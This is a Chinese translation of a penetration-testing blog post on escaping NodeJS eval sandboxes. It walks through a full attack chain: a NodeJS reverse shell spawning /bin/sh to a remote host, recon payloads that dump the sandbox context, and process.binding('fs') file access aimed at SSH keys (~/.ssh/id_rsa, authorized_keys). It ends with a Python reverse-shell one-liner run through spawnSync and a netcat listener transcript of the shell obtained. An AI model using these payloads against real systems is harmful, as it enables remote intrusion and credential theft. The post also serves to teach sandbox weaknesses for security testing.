Escape NodeJS Sandboxes

M1n3 / 2018-11-29 13:10:00 / 浏览数 3267 技术文章 技术文章 顶(0) 踩(0)

原文： https://blog.netspi.com/escape-nodejs-sandboxes/

在这篇博客里，我们将在充分了解了NodeJS的解释器后，来探索如何进行 NodeJS 的沙箱逃逸 。

前言

Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境，可以被开发者用来开发前端或者后端的程序语言。NodeJS 最初于2009年发布，现在被Netflix，微软和IBM等技术公司所使用。如今，NodeJS的下载量已经超过250，000，000，甚至这个数量还在增长。因为其受欢迎程度高和应用广泛，是一个比较值得在安全方面进行探索的目标。

在NodeJS之前，我们仍有PHP、perl这样的服务器端脚本语言，虽然他们也有自己的安全问题。然而相比较的是，NodeJS和JavaScript已经有了许多的改进。但是由于eval() 函数的存在，使得其在命令注入方面并没有多大的不同。

eval() 函数允许应用在操作系统的层面执行命令。当某些函数需要执行某些命令或者需要调用系统的bianry 的时候，开发也许会使用 eval ，但是最好采用一定的沙箱来禁止可执行的命令，最终防止攻击者拥有命令执行的权限。

而现在，我们要探究的就是如何深入了解NodeJS，并且尝试在允许命令执行的NodeJS沙箱逃逸出去。

Reverse Shell

作为一个渗透测试人员，花费一定的时间来编写 Reverse Shell 应该是微不足道的事情。然而我们感谢 !(Wiremask)[https://wiremask.eu/writeups/reverse-shell-on-a-nodejs-application/] 让们已经有了一个 NodeJS 编写的 Reverse Shell 。

```
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "192.168.1.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
```

如果，你足够想幸运以及沙盒足够脆弱，那么我们将有了一个 Reverse Shell 。事实上，一个常见的沙盒应当是不允许用户简单的建立网络连接和读写文件以及无法导入一些库。

Recon

第一步，我们需要收集足够的信息。首先，我们明确我们有执行任意命令但是由于沙盒的存在，我们需要绕过这个沙盒。我们第一个重要的步骤，就是通过执行 payload 的权限是怎样的。最直接了当的方法，就是将堆栈或者标准错误输出转发出来，然而并不是所有的web 应用都有这样的功能。我们根据 !(StackOver flow)[https://stackoverflow.com/questions/591857/how-can-i-get-a-javascript-stack-trace-when-i-throw-an-exception#635852] 的帖子，我们可以使用一定的payload来打印信息。

```
function stackTrace() {
var err = new Error();
print(err.stack);
}
```

当我们执行这个payload 到时候，我们会得到 stack strace：

```
Error
at stackTrace (lodash.templateSources[3354]:49:19)
at eval (lodash.templateSources[3354]:52:11)
at Object.eval (lodash.templateSources[3354]:65:3)
at evalmachine.:38:49
at Array.map ()
at resolveLodashTemplates (evalmachine.:25:25)
at evalmachine.:59:3
at ContextifyScript.Script.runInContext (vm.js:59:29)
at Object.runInContext (vm.js:120:6)
at /var/www/ClientServer/services/Router/sandbox.js:95:29
```

```
...
```

通过上面的输出，我们可以得知 sandbox.js eval 在 load.templateSources
中被使用。我们也可以尝试找出当前代码的上下文。我们想去尝试的打印这个但是不能简单打印这个对象，我们需要使用 JSON.stringify()

```
> print(JSON.stringify(this))
< TypeError: Converting circular structure to JSON
```

不幸的是，这有一些循环使用，我们需要一个识别并且截断它们的脚本。方便的是，我们可以在我们的 payload中使用
！(JSON.prun)[https://github.com/Canop/JSON.prune]

```
> print(JSON.prune(this))
< {
"console": {},
"global": "-pruned-",
"process": {
"title": "/usr/local/nvm/versions/node/v8.9.0/bin/node",
"version": "v8.9.0",
"moduleLoadList": [ ... ],
...
}
```

最初JSON.prun
是不支持枚举可用函数的，我们需要修改其来达到我们的目的，从而更好确定哪些函数可以使用。其次执行这个payload将会有一些如上的大量输出。从中我们可以看到 process 包含了一些环境信息，如 noejs 的版本和 可使用的 moduleLoadList。而 moduleLoadList 也许就是我们达到目的的关键。

NodeJS Giving Us The Tools For Success

我们在 moduleLoadList 中寻找可用的东西。如果我们看文章起初的 Reverse shell code ，我们知道我们仅仅需要两个模块：net 和 child_process 。在 moduleLoadList
中，这两个模块应该是被加载过的，我们要做的是如何访问这两个已经加载了的模块。如果没有，我们需要使用NodeJs本身的内部库和一些相关API。通过阅读Node的官方 dlopen() 的一些使用约定？(原文：we see some promise with dlopen().) 。我们跳过这个方法，因为有更简单的方法可以使用： process.binding()
。如果我们继续探索，我们最后会了解到 fs.js 这个文件，这是一个用来做FIle I/O 的NodeJS 的库文件。在这，我们会知道，process.binding('fs')
这个方法正在被使用，我们仅仅知道这个方法将会返回 fs 模块。我们使用 JSON.prune 打印出函数的名字，我们继续探索哪些是可以使用的。

```
> var fs = this.process.binding('fs');
> print(JSON.prune(fs));
< {
"access": "func access()",
"close": "func close()",
"open": "func open()",
"read": "func read()",
...
"rmdir": "func rmdir()",
"mkdir": "func mkdir()",
...
}
```

在对上面的输出进行了一番研究后，我们发现这些功能或者说是函数都是直接由 C++
实现。并且正当的使用它们，可以允许我们进行文件的读写。有了这个，我们甚至可以向文件系统里写入公钥。如，我们将公钥写入 ~/.ssh/authorized_keys
或者我们读取 ~/.ssh/id_rsa。

但是，我们的目的是要绕过沙箱的网络限制来反弹shell(虽然能写入公钥了...),因此我们将尝试将复制 net 和 child_process 的packages。

Mucking about the Internals

这里我们采用了一个最简单的方法，!(CapctionSet)[https://gist.github.com/CapacitorSet/c41ab55a54437dcbcb4e62713a195822]
在GitHub上做了需要繁重的工作重写了这些函数在没有 require:spwn_sync 的执行环境下。我们仅仅要修改的是将 process.binding() 修改为
this.process.binding() 并且将 console.log() 修改为 print() 。以及最后，我们要弄清楚，我们如何执行 Reverse shell。 最经典方法就是我们去寻找netcat ,perl
,python 等等。例如我们这里使用Python

```
var resp = spawnSync('python',
['-c',
'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("127.0.0.1",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
]
);
print(resp.stdout);
print(resp.stderr);
```

然后紧接着确保 nc 监听对了端口。当面执行 payload 后，我们会收到 反弹的shell了。

```
root@netspi$ nc -nvlp 443
Listening on [0.0.0.0] (family 0, port 443)
Connection from [192.168.1.1] port 443 [tcp/*] accepted (family 2, sport 48438)
sh: no job control in this shell
sh-4.2$ whoami
whoami
user
sh-4.2$ ifconfig
ifconfig
ens5: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 9001
inet 192.168.1.1 netmask 255.255.240.0 broadcast 192.168.1.255
ether de:ad:be:ee:ef:00 txqueuelen 1000 (Ethernet)
RX packets 4344691 bytes 1198637148 (1.1 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4377151 bytes 1646033264 (1.5 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10
loop txqueuelen 1000 (Local Loopback)
RX packets 126582565 bytes 25595751878 (23.8 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 126582565 bytes 25595751878 (23.8 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```